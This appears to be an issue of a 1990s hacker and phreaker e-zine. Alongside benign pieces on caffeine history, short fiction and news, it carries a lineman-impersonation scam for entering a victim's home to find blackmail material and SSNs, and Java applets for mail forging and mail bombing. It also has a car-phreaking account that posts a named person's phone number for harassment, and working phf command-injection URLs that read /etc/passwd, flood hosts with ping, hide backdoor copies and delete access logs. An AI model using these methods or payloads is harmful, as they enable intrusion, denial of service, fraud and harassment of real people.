especially nice because the lines are always grouped together.  Atleast 
four in each box.

	So now you have your method down and you feel pretty confident. What
can you really do with these new amazing lineman's powers?  Well you know 
that jerk your always pranking?  Now you can go to his house and fuck his
shit up in broad daylight.  In fact go to the door and talk to him about his
phone service for a minute or two.  Ask him if he's been having trouble with
the lines,  so on so forth. Ask him if he minds if you come in for a minute
and have a look at the phone lines in the house.  Walk around and pay 
attention.  You never know what youll see,  potential black mail info, or 
maybe a bill with his ss# on it. Then explain to him that due to maintenance 
purposes your going to have to disconnect his line for an hour or so.  Then
go out to his phone box and do just that.  Then go back up to the house and
tell him that you have an emergency and have to go, but you'll be back in
just a few minutes.  Leave.  Gee, did i forget to hook your shit back up?
Now the next time you call him you can tell him exactly what he looks like
and what his house looks like.  He would probably never suspect the lineman.

	This would probably be the point where you're wondering if this is
all just bullshit or not.  Well, I'll tell ya. Or not. I have done this and
it works.  Just maintain a very cool composure.  Never act nervous or let
the "victim" think you are unsure of yourself.  Never go out any later than
4:00 or so, and don't stay in any one place for more than 20 minutes.  One
more cardinal rule, if you see a real lineman, or a phonetruck, get the fuck
out of there.  As much as I hate to think about it, impersonating a lineman 
is a crime, and so is phone fraud so don't hang around.  The linemen will 
know a fake when they see one.  

	That's it.  The lineman's scam can be pulled off by anyone, but don't
ever forget that it is a scam, and should be done cautiously.  So if your 
just tired of the same old beigebox routine and need a change of pace, just
say fuck it.  Go be a lineman, you'll thank yourself. 

		phear <PLA> <OCPP> <HBS>    

_____________________________________________________________
[ Java Mail Forging, Bombing, and Other Aspects ] by Scud-O


        Ok, we all know how easy it is to 'forge' e-mail on the internet.
just telnet in to port 25 and use the sendmail commands like MAIL FROM: ,
RCPT TO: , DATA, QUIT, etc to 'forge' mail from a server.
        Of course, this is not really forged mail, since your domain is still
shown in the header for the mail, but since most people these days use either
Netscape mail, or Eudora, which only display the short little header, many
people may think that a mail from thepope@vaticancity.va could be real. Well,
actually if you thought it was real youd have to be real dumb or real drunk.


PopeMail.Java  - [ Java Mail Forging ]
---------------

import java.applet.*;
import java.io.*;
import java.net.*;

public class PopeMail extends java.applet.Applet implements Runnable { 

    public static Socket socker;
    public static DataInputStream inner;
    public static PrintStream outer;
    public static int mailPort = 25 ;
    public static String mailFromPope = "vaticalcity.va";
    public static String toLammah = "lammah@lameville.net"; // Change this!
    public static String starter = new String();
    Thread controller = null;

    public void init() {

	try {
	    socker = new Socket(getDocumentBase().getHost(), mailPort);
	    inner = new DataInputStream(socker.getInputStream());
	    outer = new PrintStream(socker.getOutputStream());
        }
        catch (IOException ioe) {}
    }

    public void start() {
        if (controller == null) {
            controller = new Thread(this);
            controller.setPriority(Thread.MAX_PRIORITY);
            controller.start();
        }
    }

    public void stop() {
        if (controller != null) {
            controller.stop();
            controller = null;
        }
    }

    public void run() {
        try {
            starter = inner.readLine();
        }
        catch (IOException ioe) {}
        SendMail("HELO " + mailFromPope);
        SendMail("MAIL FROM: " + "thePope@" + mailFromPope);
        SendMail("RCPT TO: " + toLammah);
        SendMail("DATA");
        SendMail("Subject: Your Sainthood" + "\n" +"Greeting O Holy one,"  + 
                "\n" + "\n" + 
               "I have decided to claim you Saint Lammah for your dedication\n" +
               "at being lame. Thank you for your hard work. Countless\n" +
               "generations will smile upon your holy name for your hard\n" +
               "work. Oh, and my the way, Soul Coughing FUCKING OWNS!!!!\n" +
               "\n" +
               "                     The Pope, John Paul II\n" +
               "                      thepope@vaticancity.va \n" + "\n"); 
        SendMail("QUIT");
        try {
            socker.close();
        }
        catch (IOException ioe) {}
    }

    public void SendMail(String toSend) {
        String response = new String();
        try {
            outer.println(toSend);
            outer.flush();
            response = inner.readLine();
        }
        catch(IOException e) {}
    }
}

        The applet is very simple in its conception and operation.  The init()
method creates a socket to communicate with port 25 on the applet's home host,
a DataInputStream to read lines of text to the socket, and a PrintStream to
write lines of text to the socket.  Once the applet starts, it uses its
SendMail() method to interact with sendmail.  SendMail() sends a string to
sendmail and returns its response to the applet.  The run() method of PopeMail
then follows the command format given in /etc/mail/sendmail.hf to send its
e-mail letter.


        It is important to understand clearly what happens here.  By viewing
the applet, you are forced to connect to port 25 on the applet's home
host, and you have no choice in the matter.  You need not even be made
aware that this is happening.  The applet controls everything about your
interaction with sendmail: the recipient, the message, and even the return
address supplied to sendmail.  Nevertheless, the e-mail header identifies you
(or at least your machine) as the originator of the message. Of course on a
soundly administered system, careful logging will reveal the applet as the
instigator, so the threat may not be as serious as it seems at first.




PopeMailBomb.Java  - [ Java Mail Bombing ]
---------------

import java.applet.*;
import java.io.*;
import java.net.*;

public class PopeMail extends java.applet.Applet implements Runnable { 

    public static Socket socker;
    public static DataInputStream inner;
    public static PrintStream outer;
    public static int mailPort = 25 ;
    public static String mailFromPope = "vaticalcity.va";
    public static String toLammah = "lammah@lameville.net"; // Change this!
    public static String starter = new String();
    int i;
    Thread controller = null;

    public void init() {

	try {
	    socker = new Socket(getDocumentBase().getHost(), mailPort);
	    inner = new DataInputStream(socker.getInputStream());
	    outer = new PrintStream(socker.getOutputStream());
        }
        catch (IOException ioe) {}
    }

    public void start() {
        if (controller == null) {
            controller = new Thread(this);
            controller.setPriority(Thread.MAX_PRIORITY);
            controller.start();
        }
    }

    public void stop() {
        if (controller != null) {
            controller.stop();
            controller = null;
        }
    }

    public void run() {
        try {
            starter = inner.readLine();
        }
        catch (IOException ioe) {}
        for(1=0; 1 < 500; i++) {  // this is just a sample value, use whatever

                SendMail("HELO " + mailFromPope);
                SendMail("MAIL FROM: " + "thePope@" + mailFromPope);
                SendMail("RCPT TO: " + toLammah);
                SendMail("DATA");
                SendMail("Subject: Your Sainthood" + "\n" +"Greeting O Holy one,"  + 
                "\n" + "\n" + 
               "I have decided to claim you Saint Lammah for your dedication\n" +
               "at being lame. Thank you for your hard work. Countless\n" +
               "generations will smile upon your holy name for your hard\n" +
               "work. Oh, and my the way, Soul Coughing FUCKING OWNS!!!!\n" +
               "\n\n\nBy the way, this is a mail bomb!\n" +
               "\n" +
               "                     The Pope, John Paul II\n" +
               "                      thepope@vaticancity.va \n" + "\n"); 
        SendMail("QUIT");
        }
        try {
            socker.close();
        }
        catch (IOException ioe) {}
    }

    public void SendMail(String toSend) {
        String response = new String();
        try {
            outer.println(toSend);
            outer.flush();
            response = inner.readLine();
        }
        catch(IOException e) {}
    }
}

        Ok, so this code is pretty much the same, but it adds a for loop for
bombin people. I added in a sample value if 500, but use what you like. The
one pain with this program is that you must edit and compile/run this file
each time you wish to bomb a person. Part of this is because we have more than
enough mail bombing already, But if you want to make this code more versitile,
just add some forms to it for the web applet, or add the code to enter in
different values for toLammah, mailFromPope, and even a file to use for the
message, its your code now, to whatever you fuckin feel like. I dont care.

_____________________________________________________________
[How To Turn Your Car Into A Mobile Phreaking Unit] by phear


	Well all right then..  I'd like to start off with a special thanks to 
Havoc Bell and OCPP for putting this in their zine and for having a good zine 
in general (their getting less and less common.)  I'm sure every true phreak 
out there has been wardialing from home lookin' for a couple pbx's or a fax 
or two to plague and thought to themselves,  damn it sure would be a lot 
better if I didn't have to do this from home... what with all the *69's and 
so on.. well I've thought this myself and I decided I was gonna do somethin' 
about it.  That's why I'm writing this article.. how to turn your vehicle.. 
even the most piece of shit car you've ever had.. you know, the one you 
always had to pushroll to start, the one that didn't have reverse or an 
e-brake, into a mobile phreaking unit.  What if you didn't have to wardial 
from home,  what if you simply had to pull your car up and whip out a 50ft. 
phone cable and jack in wherever you pleased.


     You can.. if you are reading this then you have a pc, or are reading it 
on a friends pc and I'm sure through your incredibly persuasive powers of 
coercion you could convince them to try this idea out, in fact just bribe 
them, you'll thank yourself, offer them your sister, free #900 calls, revenge 
etc. Anyway, here's what you need..  A pc with a modem.. any pc will do,  if 
you have to go steal your grandpa's XT and stick a 2400bd in it.  A monitor, 
VGA is nice but not a necessity, the smaller the better.  A power source.

	Now the power source issue is a little more complex,  right now cuz 
I'm short on cash I use an APC Powecell backup for electric in the car.  I 
bought it for my pc a while back cuz UE sucks.  Anyway its good for about 4 
hours and that's plenty.  Any kind of backup will do, as long as you get at 
least an hour out of it, you'll have to find the internal speaker cuz when 
that sucker starts doing backup power its gonna make a real annoying beep,  
so take it apart and desolder the internal speaker and then your set.  Of 
course the best type of power supply, the one I recommend is a line inverter, 
or converter or some shit.  

	Anyway what it does is take the 12vdc from your car and turn it into 
120vac.  The best one I've ever used is made by tripplite and its about $100.
I know, I know a little pricey but  its worth it,  with the car on you will 
never notice a decrease in battery power,  with the car off you could run a 
pc about 3 hours without draining the battery much,  the cheaper line 
inverters may cause some strange small lines on your monitor, which really 
aren't bad just kindave annoying.   


     All right so you've got all your supplies, now your asking yourself what 
the fuck do I do with all this shit.. You've just got to mount it.  I have a 
small black Escort Gt.  If I can fit all this shit in my car then so can you, 
firstly find a good place for the pc itself.  Behind the passenger seat works 
well, unless you have a van, which is truly the ultimate phreaking machine, 
then just slap a desk in the back and grab an extension cord.  As for the 
cars, in most cars the best place to mount the monitor is in the front 
passenger seat wedged in-between the dashboard and the edge of the seat,  
sits at a nice angle so you can see what your doing and it looks real nice.. 
or at least as nice as a monitor wedged into a car can look.  Now if you just 
happen to luck out and find a nice small monitor, like a 10" or an 8" 
then just stash it somewhere... if you have enough room stick it in-between 
the passenger and driver seats. You wanna put the power supply in an easy to 
reach place so you can run all the cords to it without a lot of hassle.  Then 
you need to determine how many people are coming with you on your little 
joyride and tell the other three to go the fuck away you only have room for 
one and he's riding in the back.  Oh yea and if you have an external modem I 
would recommend sticking it in the passenger side by the door in that crevase 
under the seat.  Okay you also need at least 25ft. of your favorite phone 
cord.. just take the one off your girlfriends phone..  So, you've got your 
vehicle all loaded up and your ready to go.. but your not sure exactly how 
best to use  this new found toy.  So I'll tell you about a few of the things 
I've done with mine.  


     Well the first and foremost thing to do is go find a good spot, if your 
gonna use a good size box with a lot of connections then make sure to bring 
your beige box, and if you plan on harassing any of these fools grab your  
favorite touch-tone too.  So me and chaos and his girlfriend (don't ask me 
why I let her go,  I didn't have the room and she bitched about her leg 
cramping the whole time) were out looking for a good spot and found a nice 
dark church, which by the way are really good spots to go most of the time.  
We parked the car on the side opened up the phonebox and just plugged right 
on in.. I had the girlfriend do lookout duty and then dialed 72# 573-xxx-xxxx 
and forwarded everything to my favorite person to harass... which by the way 
if anyone wants to call her is 573-581-7077.. and make sure you say something 
about her mom... anyway .. and since I live in a little shit town people here 
are very guarded about phone harassment so they respond well to hang-ups.  So 
I loaded up my favorite wardialer,  ToneLoc, which is a great wardialer,  but 
I also use THC-Scan from time to time.. I set the call time to 15 sec. to 
allow for a good two rings and set it to dialing,  I called about 80 numbers 
at random with the wardialer.  


	Now this is one of my favorite tricks.. all the people that *69 call 
the forwarded number and never interrupt my dialing...so I figured I'd had my 
fun there and decided to get the hell out of there.. sides, the girlfriend 
had to use the bathroom, and for some reason the bushes just weren't good 
enough ( I can't imagine why ) so off we went, to the gas station, where I 
happened to notice the fax number,  wrote it down when I got to the car, and 
went to another local church, unfortunately it had floodlights.. so I hopped 
out and unscrewed  the bulbs, jacked in and faxed several nasty letters to 
the gas station about how much I really hate the way they look me when I walk 
in there,  just because I have a nosering and don't like my pants to fit so 
tight I have to talk in a high pitched voice is no reason to i.d. me every 
time I want a pack of smokes.   So chaos thought it might not be a bad idea
to give them a call and make sure they got the faxes.


     So he called and told the tubby bitch behind the counter to fuck off and 
enjoy the faxes.. well all right.  That's it.. and remember if you see a cop 
just pretend your lost, most cops are completely pc illiterate and have no 
clue about phreaking either,  so if you cant run then just play dumb.  "Oh no 
officer that's not a pc in my car,  it's part of a new computerized throttle 
control "... or maybe you could try "Well if you weren't so busy eating that 
doughnut maybe you'd know that this is a highly sophisticated state of the 
art mobile phreaking unit used to create chaos in the homes of people just 
like you, and I never would have known about it if it haven't been for Havoc 
Bell and OCPP and this really fucked up article I read written by some guy 
named phear who phreaks with chaos and crypto and somebody else's girlfriend, 
who cant seem to use the bathroom in the bushes."  well that's all.. happy 
mobile phreaking.

		phear. 	    <PLA>    <HBS>    <OCPP>   	                                        tyreiron@mail.geocities.com


_____________________________________________________________

***     Securities Hole in cgi-bin
***     memor@mygale.org - http://www.mygale.org/00/memor

***     1 - The really known phf script:

        Mostly the URL victim is really unsecure and the system admin
        doesn't know about cgi-bin security lack.
        And mostly the hackers do that hole in that way : 
        http://www.victim.com/cgi-bin/phf?Qname=a%0acat%20/etc/passwd
        but well, lots of phf are patched and more and more servers
        are now protected and well .. system admins "sometimes" know
        shadowing their passwd file and having login:x: on Query Result
        is not really fear for thoses hackers.
        By the ways.. Http commands (GET mostly) are logged in the
        /www/logs/ directory.. so when u try some hack with phf
        on the navy or some secret services.. hm.. u should use a gateway 
        before..
        Well.. Their is another uses for that script.. personnaly,
        i dont use it for reading the server passwd file due to the 
        reasons i explained before..
        You must remember that %0a escape to command shell (lf) and
        that %20 is the space.
        for example.. im on Efnet IRC and some aol lamer is annoying me
        ... i use a lame weapon for killing him.. a really lame one :
        icmp via phf..
        
        /whois AoLaMer
        *** AoLaMer is ppp125.lamer.aol.com 
        *** AoLaMer is on #Aoltalk
        *** AoLaMer is using irc.primenet.com
        *** AoLaMer is away: Lamer
        *** Notice that i used some lame mirc winblows interface.
        
        [10:01] <AoLaMer> You suck dude, im 3|1+3 cause i use AoL!
        [10:02] <memor> ok man

        i use my favorite netscrupe brownser now and i enter that url:
        http://www.victim.com/cgi-bin/phf?Qname=a%0aping%20-c%201000%20
        -s%205000%20ppp125.lamer.aol.com

        well that command will be translated for the server by 
        (translate %20 in space) a 
        ping -c 1000 -s 5000 ppp125.lamer.aol.com

        the victim server will hit that dude modem with 1000 packets 
        of 5008 bytes.. if he is really lame.. abort the current
        Contacting Server (the netscrupe wont stop to "Contacting Server"
        since the icmp is not completly done) .. so abort it.. The icmp
        will continue during that time.. and do another Query.. so
        another 1000 packets of 5008 bytes.. when i tryed to icmp with
        ping echos > 6008 bytes, the server returned -1.. well : an error.
        
        There is anothers uses.. commands in /bin that www can access
        and u can mkdir write in the www dirs..

        like (...)%20cp%20phf%20.fhp will copy phf to .fhp so the kewl
        root wont see it with a normal ls (-l) but.. hmm beware if he
        uses ls -a .. so u'll be able to call it by a 
        http://www.victim.lame.com/cgi-bin/.fhp after..
        
***     2 - Wrap Script:

        Well i'll be quick on Wrap script ... its a boggus script
        found in irix 6.2 features i know and the use is
        http://www.victim.com/cgi-bin/wrap?../../../etc/passwd
        i know that script allow only a file view.. and well on irix..
        and.. passwd files are sometimes shadowed.
        well i didnt try http://www.victim.com/cgi-bin/wrap?%0als(...)
        so.. i dont know if that script is so boggus.. i should also
        try some buffer overflow.. but same here.. i dont know if it
        works.

***     3 - View-Source Script:

        I was really proud to find that script.. i found it in 
        the florida institute of technology server..
        http://www.fit.edu after they had patched their phf by 
        "rm-ing" it and after having "rm-ed" my fhp and my .fhp  
        and my another .YouSuck ones.. They know the use of ls -a ,
        Wonderfull!! but well.. here view-source was not really
        usefull.. view-source is a "wrap" for Netscape Communicator 2.0
        features. (do a http://www.future.victim.com/cgi-bin/test-cgi)
        and well.. like wrap.. its the same way to access the passwd
        file..
        http://www.new.victim.com/cgi-bin/view-source?../../../etc/passwd
        .. on www.fit.edu their passwd file is shadowed btw.
        i tryed some
        http://www.old.victim.com/cgi-bin/view-source?%1b or %0a ..
        others %20.. but.. no work..
        the only strange thing i saw was on a %0a .. some strange Query
        Results were appearing..
        I tryed a buffer overflow of view-source but it doesnt work.
        
***     4 - php.cgi Script:

        Well i never used php.cgi script but i know that its normally
        like a wrap or a view-source... so the use is 
        http://www.victim.com/cgi-bin/php.cgi?../../../etc/passwd
        well same here.. i did heard it had a was to escape to
        command shell.. but i dont know about it. personnaly
        i use others ways (not httpd ones) for hacking servers.

***     5 - Some uses i did with phf.

        http://www.victim.com/cgi-bin/phf?Qname=a%0aping%20-c%201000%20-s
        %205000%20ip%20to%20shoot

        http://www.victim.com/cgi-bin/phf?Qname=a%0acp%20phf%20fhp

        http://www.victim.com/cgi-bin/phf?Qname=a%0acp%20phf%20.blah

        http://www.victim.com/cgi-bin/phf?Qname=a%0als%20-al%20/dir/to/go

        http://www.victim.com/cgi-bin/phf?Qname=a%0amkdir%20/www/dirtocreate

        http://www.victim.com/cgi-bin/phf?Qname=a%0arm%20../logs/access_log

***     6 - But remember:

        The httpd access are logged in the logs dirs of the www directory.
        so.. hmm dont try to hack some "High Security" server with that..
        well for me i hacked one time a "hot" server.. National
        Supercomputing Center for Energy and Environnement (www.nscee.edu)
        .. the next day.. all was patched and all the passwd file i got
        and decrypted was.. disabled .. :*:


_____________________________________________________________

The History of Caffeine  by Scud-O

NOTE: This was for my chemistry project, which i did publish online. However,
im not giving out the url, since well it kinda reveals who i am, so if you
REALLY want to see the project and all the cool pictures, e-mail me.

Prehistory ( 600,000 - 700,000 years ago )
Most known caffeine-yielding plants were probably discovered
and used during the paleolithic, or Stone Age, times, which
were appoximately 600,000 to 700,000 years ago. The Stone
Age people probably chewed the seeds, bark, and leaves of
many different plants, and the most likely associated the
chewing of certian plants ( the caffeine-yielding ones )
with the resulting changes in mood and behavior.


Eventually, caffeine was cultivated and consumed to banish
fatigue, prolong awakeness, elevate mood, and promote 
concentration.


The Stone Age people may have learned to ground the 
caffeinated plant material into a paste and used it to aid 
in digestion. Much later it was discovered that by adding
the plant into hot and boiling water that a liquid could be
created that when ingested produced even greater effects.
( How else do you think someone would learn to boil something
dark and bitter like a coffee bean? ) The boiled drink 
produced greater effects since more caffeine is extracted
from a plant substance at higher temperatures. This discovery
led to the origin of all caffeine containing beverages,
including coffee, tea, soda, cocoa, kola tea, yoco infusion,
cassina, mate, and guarana.




Tea & It's History
Tea has always been used both as a hot beverage and as
a medicine. Records have indicated that tea drinking may
date back to as far as 4,700 years ago. Tea use ( as well
as many other aspects of Chinese culture ) spread to Japan
around 600 A.D., but it took another 700 years for it to
fully integrate into the Japanese life. During the 17th
century ( 1600 AD ), just as the use of coffee was being
introduced into Europe from Turkey, Dutch traders began
to bring tea into Europe. Despite its initial high cost,
It quickly spread through out Europe, and soon became the 
beverage of choice ( displacing coffee ) in many areas of
Europe.


Tea took a particularly strong hold in North American 
colonies. A tourist visiting the colonies during the
1760s once wrote that American women were "such slaves
to it ( tea ) , that they would rather go without their
dinners than without a dish of tea".


Partly to reaffirm its status as a strong colonial ruler,
( and to collect more revenue ) , in 1767 the British 
government put a special tax on tea and several other items. 
As a result, the colonists boycotted tea and began using
substitutes and alternatives, such as coffee. They also
partook in events like the Boston Tea Party, and either
tossed tea overboard or blew up ships trading tea, or just
plainly denying them the ability to dock. To keep the
revolution up, local doctors and clergy attributed an assortment of
ills and evils to tea drinking.


During this time, most of the worlds's tea came from China,
( and most of it still does ) . Through the East India
Company, the British had almost a total monopoly on the 
tea trade. In 1833, when the company's commerical treaty with
China had expired, British control of the tea trade became
weaker and weaker. After 1833, the British tried cultivating
tea in the Indian subcontinent. However, China tea did not
grow well in India, and the tea plantations of India were only
successful when the local Assam variety of tea was cultivated.
As recently as the 1870s , more than 90% of British tea was
still pouring out of China.


The Insecurity of Britain's hold on the tea trade was not
helped by a domestic tax on tea, which in the early 19th century,
was 15 times higher than the tax on imported coffee. This
resulted in coffee use in Britain which increased tenfold
in the forty years between 1800 and 1840, during which time
coffee over took tea as the drink of choice. After this period
however, several scandals involving coffee led the people
back to tea. After the discovery that several of the larger
coffee importers added such additives as roasted corn,
vegetable roots, and even baked horse liver (!) had been
used to increase the bulk of ground coffee, many buyers
and drinkers were disgusted ( wouldn't you have been disgusted at
that? ) and returned to tea. Also during this scandal, 
perhaps to help people use tea again, the taxes were lowered
on imported tea.





Coffee & It's History
Coffee was first mentioned in an Arabic document from the 10th
century. There is evidence however, which states that
in Ethiopia, coffee was cultivated and the berries chewed
as early as the 6thy century. During the 10th century,
Arabic people crushed the coffee berries, fermented them,
and made a waine called qahwah. Then, in the 11th
century, they began to use the beans to produce a hot drink
from the berries, which they also called qahwah. As the
use of this beverage spread throughout the world, the word
was adpated to the various languages of the coffee drinking
world, producing such words as cafe, Kaffee, koffie, and coffee.
By the end of the 17th century the Dutch had established
coffee plantations on the Indonesian island of Java. ( hence
the famous nickname of coffee, Java ). During the next 50 years,
the first French and then the British followd suit in their
Caribbean colonies. Commercial sultivation of coffee spread from 
the Caribbean to Central and South America, and by the early 19th
century Brazil had supplanted Indonesia as the mojor producer and 
exporter of coffee. By 1860, the US was consuming three quarters of the
world's coffee, more than half of which came from Brazil.


_____________________________________________________________
                                
                                --------------
                               --=[Untitled]=--
                    Provided with permission by the author
                                --------------

"Why does the ringing not stop? Somebody stop that ringing!" My mind was 
screaming those thoughts, yelling with every ounce of its membrane. "Please 
make it stop... Wait, why is everything so black? Is this normal?"

I suddenly stopped thinking. The ringing had stopped. Feeling nothing, 
thinking nothing; existing was all I could do. Blackness was everywhere. The 
blackness did not surround me, I was not a part of it, but I was not separate 
from it either. Perhaps I was the blackness. No thoughts entered my mind. It 
was not that I couldn't think, not that I was impaired somehow, rather that I 
simply did not think. It was not in my power to think. Thinking is just 
something I do not do; how could I?

The insistent ringing started again.

"No! No more ringing!" Thoughts streamed through my brain again. I felt cold, 
and lonely. Cold like you do when the wind blows right through your sweater 
and makes your skin tingle. I was not lonely for lack of company; the 
loneliness was something more. I was lonely for a part of me. "Which part?" I 
asked myself. "Is there something missing?" Suddenly fear ran through me like 
a cold drop of water when it falls under your collar.

"Something *is* wrong! I can feel it..." quickly my fear turned to anger. 
"STOP RINGING! STOP THAT RINGING!" I couldn't take that ringing anymore. I 
tried to turn my head and open my eyes.

"Ugh!" I couldn't open my eyes, but I saw! What I saw was incredible. I was 
in space, in deep space. Huge galaxies in front and behind me, rotating 
slowly, spinning round in total silence. To my side, two galaxies inverted in 
each other, amazing. Total silence. My thoughts stopped. The galaxies spin 
silently in the depths of the universe. 

Colors streaked inside each galaxy in view, reds being left behind in the 
wake of stars, blue diamonds seemed to sparkle in the middle of each red. All 
the red began to slowly fade into an emerald purple with dark green spots 
every so often.

Every light I could see began to pulse. The pulsing, slow at first, a deep 
rhythmic pulsing, almost as if the universe itself was breathing. Quicker the 
pulsing became, now like a heart beat, now like the flashing lights on a 
police cruiser. Faster still the pulsing was. Like the frames of a movie. 
Like the propeller of a plane.

Darkness. Nothing. My mind sprang back to life yet again. "I'm dead. I am 
dead. This is what death is." But I was not sure of my thoughts, I had never 
been dead before you see. "Are my eyes closed?" I attempted to send the 
command from my brain, through my forehead, to my eyes. Open. Nothing. I 
couldn't be sure I even had eyes. Nothing had changed, nothing had moved. 
From somewhere deep back in my mind a ringing became clearer, more 
persistent. "Maybe this is hell. Perhaps this is what a bad fone phreak gets 
as punishment, eternal ringing." The ringing increased in volume somewhat. I 
tried to recall how I came to this. "Why am I here? What happened.. I know! I 
was holding those 3 lines when ringing current was applied to them. That's 
it. That's why I am hearing this horrible ringing now. It must have gotten 
stuck in me... Wait, what am I saying? What does that have to do with this 
ringing I'm hearing.." I was having trouble thinking clearly, and the ringing 
wasn't helping any.

I felt sick to my stomach, but seeing, apparently, that I didn't have a 
stomach, I wasn't sure what I was sick to. But I did feel sick, the kind of 
sick you get in the car when you're not watching the road. I couldn't move, 
couldn't see, couldn't feel a body, couldn't stand that eternal ringing!

Light! Cool air rushed over my body and through my hair as this light blinded 
me. Heaven? The car passed me quickly with the sound of its motor changing 
pitches as it receded into the distance taking the light with it. I could see 
again. I was on the side of a small two-lane road, in what appeared to be the 
middle of the desert. An open bridging box was next to me, its 2 record 
tables lying on the ground, half covered with dirt. A lineman's handset, laid 
in the dirt, both of its clips attached to binding posts in the box.

"The ringing, it's coming from the handset." And sure enough it was. The 
handset shook every time it rang. It did not strike me as odd; it was the way 
it should be.

I stared at the handset. It rang. And rang. 10, 20, 30 times it rang. I stood 
in the dark, the slight breeze sending a chill though me, watching the 
handset. Everything went black. The ringing continued. The handset was still 
there, its alligator clips floating in the black. Total silence pierced at 
intervals by the horrible ringing. The handset shook every time it rang. It 
did not strike me as odd, why should it? It was as it should be.

I reached out for the handset, not with my hand, not with my mind, I simply 
reached. The ringing stooped with the line going off hook.

I waited. I listened. Nobody spoke.

"Hello?" I asked.

No response. I questioned again into the handset.

"Hello? Who is there?"

A long pause, then, the most soft, and quiet, female voice I had ever heard 
came on the line.

"Mr. Quince? I have a collect call for u from a friend. Do you want to 
except?"

"Yes I will except." I replied without giving it a thought. It was getting 
hard to think again, and I didn't want to force myself to.

A few clicks on the line, a short pause, and then he spoke. He spoke softly, 
like the operator did, but with a tinge of slowness

"Hello Keith."

I paused before responding, thinking to myself. "Why can't I focus my 
thoughts? What is wrong?" I considered the darkness around me, the dead 
silence. I couldn't think. I began to not care.

"Who is this?" I asked with a bit of despair.

"This is your mind Keith."

My thoughts were so groggy; I could barely keep track of what was going on. 
The darkness seemed to grow more intense if that was possible. The handset 
started to loose its color and depth until it was nothing more then a black 
and white picture.

"What do you want?" I managed to get out. The darkness was consuming me. I 
couldn't tell where I ended and it began. My thoughts were soon to stop 
forever. Before that however, I heard the voice's sweet and gentle 
reply.

"I just called to tell you. To tell you that I am leaving. Forever." his 
voice echoed softly down to a mummer.

I became blackness, ceasing to exist. All that was left, All that 
remained, was the black and white picture of the handset.
_____________________________________________________________


[Looking Back] a year later....
        by Scud-O

        God, i can not believe that THTJ is 1 year old this month. Hell, I
can not believe how far the zine has come. On June 6th last year (1996), Our
first issue came out. It was an in print zine, and at the time, HAVOC Bell
Systems wasn't HAVOC Bell Systems, it was HAVOC. I Created HAVOC to be a
local group, my friends, etc. Well, my friends werent really hackers or
phreakers, they were just a buncha 'anarchists' interested in blowing stuff
up, and other such things. Needless to say, THTJ no longer prints anarchist
files, nor is it in print. About the same time as THTJ 1 came out, the web
site at our old geocities came online. Hell, at the time i knew next to
nothing on HTML, look at the site today, much better. I first made the site
to be just for the HAVOC group, on local stuff, but that changed. I realized
what a place the WWW was. It was a great distribution site for THTJ. Issues 2
and 3 came out during the summer, with mostly a buncha shit i wrote that i am
shocked i could have ever written. By October, i had come back to IRC and both
#phreak and #hacker, channels i had hung out in, and been mostly an idler. Id
talk, but not that much. Anyway, i met some very cool people like the MIA
|\|\cFill , and current member Keystroke. Afterward, i met REality, and got
him to sign up, then hell everyone was pouring into HBS. We released issues 4
and 5 which mostly had stuff by me, however 5 did include stuff by Key and
McFill. Issue 6 came out around the new year, and then well i released the
bomb. Issue 7 came out, and well, sucked. After 6-9 months of working on THTJ
i had released a bad issue, was well was worried about THTJ. I was determined
to make issue 8 the best yet. And well, i think i succeded. It was a smashing
release, and was well recieved. However during this time, i had let my grades
slip, and i had to let KungFuFox edit THTJ 9. I REALLY want to thank you for
editing THTJ 9 for me Kung, I owe you so much, with out you, hell THTJ would
still have a readership of like 100 instead of the thousands that are reading
it currently. Then, well issue 10 came out and was a huge success like issues
8 and 9 before it, and well here is issue 11, which probably is going to have
a big release like the issues before it. I want to thank you all for reading
this article of an insane editor, and to thank you for reading THTJ and
keeping it alive. And I hope THTJ is doing just as well one year from now as
it is currently doing.
_____________________________________________________________
[The News] Edited by KungFuFox

                                
                                --------------   
                               --=[The News]=--
                        Compiled & edited by KungFuFox
                                --------------

     1 : AOL Mail Chokes on Spam Antidote
     2 : Pretty Good Politics
     3 : Hong Kong Is Asia's Spam Epicenter 
     4 : Polish Govt Web Site Hacked - Police Investigate 
     5 : Gates Harasser Charged  
     6 : Java Bug Discovered 
     7 : Anti-Microsoft Sites Rampant On Web 
     8 : World Wide Web to arrive on pay phones 
     9 : Phone company says: Put your life on hold until we fix your line          
     10: Japanese Police Nab Computer User On Hacking Charges 
     11: Opening Communication Between PCs and Phones
     12: Phone giants talk of $50 billion deal    
     13: HFStival on May 31st

        <delphian> cool..
        <delphian> war games is on next
        <Snefru> where?
        <delphian> on my tv
        <delphian> its cool.. its like radio.. but with pictures and stuff
                                 -=-
        "Ebonics are kinda like women.  I don't understand 
        either of them, but they're both kinda neat."
        -eclipse
                                 -=-
        <Jimmy191> could someone tell me 
        what root is? People keep talking about
        it.. like a tree root? i know what a tree
        root is..
_____________________________________________________________
 
 AOL Mail Chokes on Spam Antidote
 by Michael Stutz 

 12:02pm 13.May.97.PDT -- A rash of email delivery problems this past week at 
 America Online - including the clogging of several Internet mailing lists - 
 have been caused mainly by the company's spam-fighting efforts, officials at 
 the Dulles, Virginia-based company, claim. 

Last Friday, AOL chief Steve Case had affirmed a beefing up of the company's 
email capabilities in his latest "Community Update" column, saying that 
recent efforts to improve system quality included AOL's increased ability to 
handle email, and that the number of incoming messages the service could 
handle was up to almost 400 million per month. 

But while Case's words rang in the background, a portion of the email 
messages directed at AOLers from the rest of the Net took up to five days to 
arrive - or simply bounced back to the sender. 

Alex Phillips, an administrator at Rockingham Internet Community Access, said 
the problem caused his company to have almost 8,000 messages to AOL addresses 
pile up on his email server. 

"It seemed to be localized to select domains on the Net," he said. "Many 
messages from other ISPs in the country were flowing just fine. Our mail 
server is in Boise, Idaho, and trace routes to AOL's mail server were showing 
no response from their St. Louis hop for about a week." 

The problem was especially harsh on mailing lists, where copies of each post 
would get forwarded to each AOL subscriber on that list, and either bounce 
back to the moderator or pile up in the list's email queue. 

The Searoom-l, a list for the discussion of wooden sailing ships, was one of 
the many lists that felt the curse of AOL email last week. In a message 
posted to the list, list moderator John Berg had said, "AOL changed their 
software which rejects incoming messages. We can see Searoom-l subscribers' 
messages, but they can't see ours, because AOL's new software doesn't accept 
our messages." 

AOL spokeswoman Tricia Primrose said the problem was an internal gaffe, 
caused by an effort to stop spam by selectively blocking incoming email 
messages. "I talked to one of our operations guys and he verified that we did 
have a problem last week," she said. "We're aggressive in protecting our 
members from spam, and we put in a change last week to block it out - and it 
unintentionally blocked some incoming listserv mail as well." 

